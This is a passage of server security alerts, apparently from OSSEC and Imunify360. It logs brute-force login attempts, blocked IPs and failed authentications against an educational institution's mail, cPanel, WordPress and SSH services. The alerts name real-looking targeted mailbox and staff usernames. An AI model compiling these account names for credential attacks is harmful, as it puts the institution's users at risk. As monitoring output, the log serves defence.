name: Login failed on the cpanel service
abuser: 179.42.148.195
description:
[2025-01-30 00:39:51 +0100] info [webmaild] 179.42.148.195 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.234.86
description:
2025-01-30 00:40:00 dovecot_login authenticator failed for ([127.0.0.1]) [117.1.234.86]:45135: 535 Incorrect authentication data (set_id=ads18b00173y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.178.10.97
description:
2025-01-30 00:40:07 dovecot_login authenticator failed for ([127.0.0.1]) [59.178.10.97]:49253: 535 Incorrect authentication data (set_id=ads18b00173y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 182.160.105.237
description:
[2025-01-30 00:40:25 +0100] info [webmaild] 182.160.105.237 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.16.170.117
description:
Jan 30 00:39:47 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.16.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.170.117
description:
2025-01-30 00:39:49 dovecot_plain authenticator failed for ip117.net-81-16-170.koping.net [81.16.170.117]:41780: 535 Incorrect authentication data (set_id=dagyarko@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:40:51 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.199.118.234
description:
Jan 30 00:41:30 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.199.118.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.224.58.243
description:
Jan 30 00:41:40 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.224.58.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.224.58.243
description:
2025-01-30 00:41:42 dovecot_plain authenticator failed for ([1.224.58.243]) [1.224.58.243]:60494: 535 Incorrect authentication data (set_id=ads32a00023y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:41:43 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.12.89.234
description:
Jan 30 00:41:49 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.12.89.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.12.89.234
description:
2025-01-30 00:41:51 dovecot_login authenticator failed for ([187.12.89.234]) [187.12.89.234]:48983: 535 Incorrect authentication data (set_id=ampofo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.58.122.14
description:
2025-01-30 00:42:03 dovecot_login authenticator failed for ([58.58.122.14]) [58.58.122.14]:40493: 535 Incorrect authentication data (set_id=ampofo)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-41.15.206.171.64


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 95.163.242.126
domain: afaccra.u3l.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-41.95.163.242.126


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.58.122.14
description:
Jan 30 00:42:01 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.58.122.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.199.118.234
description:
2025-01-30 00:41:32 dovecot_plain authenticator failed for (448990.cloudwaysapps.com) [128.199.118.234]:49346: 535 Incorrect authentication data (set_id=ads32a00023y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
Jan 30 00:43:09 ait sshd[587975]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:42:54 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 30 00:43:21 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 30 00:43:31 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 30 00:43:09 ait sshd[587975]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.6.159.121
description:
[2025-01-30 00:43:27 +0100] info [webmaild] 187.6.159.121 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 132.255.83.197
description:
[2025-01-30 00:44:00 +0100] info [webmaild] 132.255.83.197 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.146.217.105
description:
Jan 30 00:43:44 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.146.217.105 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.99.105
description:
47.128.99.105 - - [30/Jan/2025:00:43:47 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=14370136 HTTP/2.0" 302 0 mail.aitopen.us "https://mail.aitopen.us/cgi-bin/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.99.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.23.77.27
description:
Jan 30 00:43:54 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.23.77.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.23.77.27
description:
2025-01-30 00:43:56 dovecot_plain authenticator failed for ([14.23.77.27]) [14.23.77.27]:42142: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.146.217.105
description:
2025-01-30 00:43:46 dovecot_plain authenticator failed for 105.217.146.34.bc.googleusercontent.com [34.146.217.105]:50318: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.106.85.205
description:
Jan 30 00:45:16 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.106.85.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.128.249.19
description:
2025-01-30 00:45:20 dovecot_plain authenticator failed for 217-128-249-19.ftth.fr.orangecustomers.net (solly) [217.128.249.19]:45212: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.128.249.19
description:
Jan 30 00:45:18 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.128.249.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.106.85.205
description:
2025-01-30 00:45:18 dovecot_plain authenticator failed for 131-106-85-205.s1483.c3-0.tlg-cbr5.atw-tlg.pa.cable.rcncustomer.com (bress) [131.106.85.205]:59474: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 30 00:45:57 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.170.169.51
description:
[2025-01-30 00:46:05 +0100] info [webmaild] 45.170.169.51 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
description:
2025-01-30 00:46:13 dovecot_plain authenticator failed for (whiling) [102.53.15.18]:49877: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 94.68.104.105
description:
[2025-01-30 00:45:38 +0100] info [webmaild] 94.68.104.105 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.18
description:
Jan 30 00:46:11 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.18 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 47.128.110.58
description:
47.128.110.58 - - [30/Jan/2025:00:45:48 +0100] "GET /wp-content/themes/edumall/assets/images/page-404-image.png HTTP/2.0" 415 176 lms.aitsmartschool.com "https://lms.aitsmartschool.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7471092" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.110.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.250.105.5
description:
[2025-01-30 00:45:55 +0100] info [webmaild] 186.250.105.5 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.83.205.28
description:
[2025-01-30 00:46:34 +0100] info [webmaild] 170.83.205.28 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 89.149.84.86
description:
[2025-01-30 00:46:38 +0100] info [webmaild] 89.149.84.86 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 30 00:46:41 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 74.116.41.42
domain: ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:nii-quaye||WPU:nii-quaye||RSV:6.65||T:APACHE||MV:00-47.74.116.41.42


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.182.87.138
description:
[2025-01-30 00:47:19 +0100] info [webmaild] 201.182.87.138 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.6.198.208
description:
2025-01-30 00:48:03 dovecot_login authenticator failed for ([127.0.0.1]) [67.6.198.208]:36147: 535 Incorrect authentication data (set_id=eng21a00038y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.201.85.163
description:
Jan 30 00:48:28 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.201.85.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.184.14.127
description:
Jan 30 00:48:20 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.184.14.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.14.127
description:
2025-01-30 00:48:22 dovecot_plain authenticator failed for ([112.184.14.127]) [112.184.14.127]:44628: 535 Incorrect authentication data (set_id=office@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 30 00:48:27 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.14.26.147
description:
[2025-01-30 00:47:41 +0100] info [webmaild] 197.14.26.147 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.0.227.133
description:
[2025-01-30 00:47:58 +0100] info [webmaild] 131.0.227.133 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.55.14.178
description:
2025-01-30 00:48:12 dovecot_login authenticator failed for ([127.0.0.1]) [95.55.14.178]:40231: 535 Incorrect authentication data (set_id=eng21a00038y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-48.80.76.51.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.201.85.163
description:
2025-01-30 00:48:30 dovecot_plain authenticator failed for ([87.201.85.163]) [87.201.85.163]:43641: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.56.31.167
description:
Jan 30 00:48:37 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.56.31.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.56.31.167
description:
2025-01-30 00:48:39 dovecot_plain authenticator failed for p5b381fa7.dip0.t-ipconnect.de (hemid) [91.56.31.167]:63971: 535 Incorrect authentication data (set_id=stquarshie@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 30 00:49:08 ait sshd[590051]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 30 00:49:08 ait sshd[590051]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 30 00:49:39 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.51.23.227
description:
[2025-01-30 00:49:42 +0100] info [webmaild] 189.51.23.227 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.30.136.153
description:
2025-01-30 00:49:43 dovecot_plain authenticator failed for ([120.55.170.138]) [116.30.136.153]:4030: 535 Incorrect authentication data (set_id=ads17b00151y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.6.162.198
description:
[2025-01-30 00:49:52 +0100] info [webmaild] 45.6.162.198 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.104.193
description:
2025-01-30 00:49:54 dovecot_plain authenticator failed for 110-25-104-193.adsl.fetnet.net [110.25.104.193]:56908: 535 Incorrect authentication data (set_id=ads17b00151y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 30 00:49:36 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.30.136.153
description:
Jan 30 00:49:41 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.30.136.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.104.193
description:
Jan 30 00:49:52 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.104.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.142.220.155
description:
2025-01-30 00:50:17 dovecot_login authenticator failed for ([127.0.0.1]) [5.142.220.155]:36078: 535 Incorrect authentication data (set_id=ads17b00137y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.169.41.188
description:
2025-01-30 00:50:25 dovecot_login authenticator failed for ([127.0.0.1]) [113.169.41.188]:60927: 535 Incorrect authentication data (set_id=ads17b00137y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.250
description:
2025-01-30 00:50:48 dovecot_plain authenticator failed for ([58.18.90.250]) [58.18.90.250]:46944: 535 Incorrect authentication data (set_id=ads19b00188y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.167.90.149
description:
Jan 30 00:50:49 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.167.90.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.167.90.149
description:
2025-01-30 00:50:51 dovecot_plain authenticator failed for ([107.167.90.149]) [107.167.90.149]:54681: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.57.119.194
description:
Jan 30 00:50:57 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.57.119.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.57.119.194
description:
2025-01-30 00:50:59 dovecot_plain authenticator failed for ([113.57.119.194]) [113.57.119.194]:20568: 535 Incorrect authentication data (set_id=ads19b00188y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.7.188.134
description:
[2025-01-30 00:51:23 +0100] info [webmaild] 45.7.188.134 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.90.250
description:
Jan 30 00:50:46 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.90.250 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.196.10.196
description:
[2025-01-30 00:51:45 +0100] info [webmaild] 131.196.10.196 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.248.1.199
description:
2025-01-30 00:51:52 dovecot_plain authenticator failed for ([87.248.1.199]) [87.248.1.199]:55862: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.192
description:
Jan 30 00:51:54 ait sshd[590959]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.192  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.90.128.97
description:
Jan 30 00:52:01 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.90.128.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.248.1.199
description:
Jan 30 00:51:50 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.248.1.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.192
description:
Jan 30 00:51:54 ait sshd[590959]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.192 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
description:
2025-01-30 00:52:03 dovecot_plain authenticator failed for syn-172-090-128-097.res.spectrum.com [172.90.128.97]:57862: 535 Incorrect authentication data (set_id=ads20b00296y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 30 00:53:20 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
description:
2025-01-30 00:53:13 dovecot_plain authenticator failed for (pusking) [102.53.15.56]:37715: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.204.192.242
description:
Jan 30 00:53:20 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.204.192.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-30 00:53:22 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt (pulews) [87.103.126.54]:53829: 535 Incorrect authentication data (set_id=ads18b00116y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.242.149.240
description:
2025-01-30 00:53:32 dovecot_login authenticator failed for c-69-242-149-240.hsd1.mo.comcast.net [69.242.149.240]:47358: 535 Incorrect authentication data (set_id=ads20b00297y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.158.239.144
description:
2025-01-30 00:53:26 dovecot_login authenticator failed for ([178.158.239.144]) [178.158.239.144]:35614: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.242.149.240
description:
Jan 30 00:53:30 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.242.149.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.56
description:
Jan 30 00:53:11 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.204.192.242
description:
2025-01-30 00:53:22 dovecot_login authenticator failed for ([94.204.192.242]) [94.204.192.242]:53315: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.158.239.144
description:
Jan 30 00:53:24 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.158.239.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
description:
2025-01-30 00:53:43 dovecot_login authenticator failed for ([102.53.15.17]) [102.53.15.17]:55513: 535 Incorrect authentication data (set_id=ads20b00297y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.167.90.149
description:
Jan 30 00:53:47 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.167.90.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.227.219.90
description:
Jan 30 00:54:02 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.227.219.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.73.121.209
description:
2025-01-30 00:53:50 dovecot_plain authenticator failed for (jerbow) [62.73.121.209]:33573: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.168.116.150
description:
2025-01-30 00:53:52 dovecot_login authenticator failed for ([121.168.116.150]) [121.168.116.150]:65264: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.227.219.90
description:
2025-01-30 00:54:04 dovecot_plain authenticator failed for (prestast) [185.227.219.90]:39026: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.147.65.227
description:
Jan 30 00:53:35 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.147.65.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.167.90.149
description:
2025-01-30 00:53:49 dovecot_plain authenticator failed for ([107.167.90.149]) [107.167.90.149]:55589: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.73.121.209
description:
Jan 30 00:53:48 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.73.121.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.168.116.150
description:
Jan 30 00:53:50 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.168.116.150 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-54.15.206.171.64


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.147.65.227
description:
2025-01-30 00:53:37 dovecot_login authenticator failed for ([121.147.65.227]) [121.147.65.227]:57264: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
description:
Jan 30 00:53:41 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.166.70.166
description:
2025-01-30 00:55:24 dovecot_plain authenticator failed for (inial) [109.166.70.166]:20085: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.253.164.136
description:
Jan 30 00:55:26 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.253.164.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.253.164.136
description:
2025-01-30 00:55:28 dovecot_login authenticator failed for ([127.0.0.1]) [117.253.164.136]:43097: 535 Incorrect authentication data (set_id=7606e1dcc1da)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.141.241.234
description:
2025-01-30 00:55:20 dovecot_login authenticator failed for p54234-obmd01.osaka.ocn.ne.jp ([127.0.0.1]) [153.141.241.234]:43832: 535 Incorrect authentication data (set_id=7606e1dcc1da@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.166.70.166
description:
Jan 30 00:55:22 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.166.70.166 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 94.141.101.237
domain: afaccra.u3l.us
description:
